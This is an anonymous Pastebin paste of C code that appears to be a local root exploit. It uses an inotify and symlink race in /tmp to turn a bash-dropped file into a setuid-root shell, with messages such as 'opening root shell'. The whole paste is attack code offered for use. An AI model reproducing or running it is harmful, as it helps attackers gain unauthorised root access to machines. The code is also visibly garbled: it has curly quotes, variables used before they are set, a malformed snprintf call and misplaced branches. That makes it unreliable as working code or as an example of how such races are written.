Advertisement
Guest User

Untitled

a guest
Aug 18th, 2013
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. #define BZ “/usr/bin/bunzip2″
  2. #ifdef BSIZ
  3. #undef BSIZ
  4. #define BSIZ 128
  5. #endif
  6.  
  7. int shell(char *file) {
  8. char *s =
  9. “#!/bin/bash\n”
  10. “echo ‘main(){setuid(0);execve(\”/bin/sh\”,0,0);}’>/tmp/sh.c\n”
  11. “cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n”
  12. “chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n”;
  13. int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  14. write(fd, s, strlen(s));
  15. close(fd);
  16. return 0;
  17. }
  18.  
  19. int main (int argc, char ** argv) {
  20. pid_t pid;
  21. int fd, wd;
  22. char *exec, *race, *path;
  23. char buf[1], *evilsh = “/tmp/sh”, *trash = “/tmp/bla”;
  24. if(argc != 3) {
  25. fprintf(stderr, “Use: %s <cmd>\n”, argv[0]);
  26. return EX_USAGE;
  27. }
  28. pid = fork();
  29. printf(“[+] initialize inotify\n”);
  30. fd = inotify_init();
  31. wd = inotify_add_watch(fd, exec, IN_CREATE);
  32. if(pid == 0) {
  33. while(1) {
  34. exec = malloc(sizeof(argv[1]) + 6);
  35. race = (char *)calloc(BSIZ, sizeof(char));
  36. bzero(exec, sizeof(exec));
  37. printf(“[+] creating target dir ..\n”);
  38. mkdir(exec, S_IRWXU|S_IRWXG|S_IRWXO);
  39. printf(“[+] Creating Shell in: (/tmp/sh) ..\n”);
  40. shell(evilsh);
  41. snprintf(exec, sizeof(exec), “/tmp/%s”, argv[1]);
  42. system((char *)exec);
  43. snprintf(exec, BSIZ, “ln -s %s /tmp/sh”, argv[1]);
  44. system((char *)exec);
  45. bzero(race, sizeof(race));
  46. snprintf(race, BSIZ, “rm /tmp/sh”);
  47. system((char *)race);
  48. bzero(race, sizeof(race));
  49. snprintf(race, BSIZ, “ln -fs /bin/sh /tmp/bla”);
  50. system((char *)race);
  51. bzero(race, sizeof(race));
  52. snprintf(race, BSIZ, “rm /tmp/bla”);
  53. system((char *)race);
  54. sleep(2);
  55. printf(“[-] failed\n”);
  56. inotify_rm_watch(fd, wd);
  57. if(pid > 0)
  58. {
  59. // failsafe :> (attak 2)
  60. syscall(SYS_read, fd, buf, 1); /* we use syscalls… much easier.. this is if it fails remember… */
  61. syscall(SYS_rename, exec, trash);
  62. syscall(SYS_rename, evilsh, exec);
  63. while(1)
  64. {
  65. printf(“[+] opening root shell (/tmp/sh) ..\n”);
  66. path = (char *)calloc(BSIZ/2, sizeof(char));
  67. snprintf(path, sizeof(path), BSIZ/2, “%s /tmp/sh”, BZ);
  68. system((char *)path);
  69. }
  70. }
  71. }
  72. }
  73. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement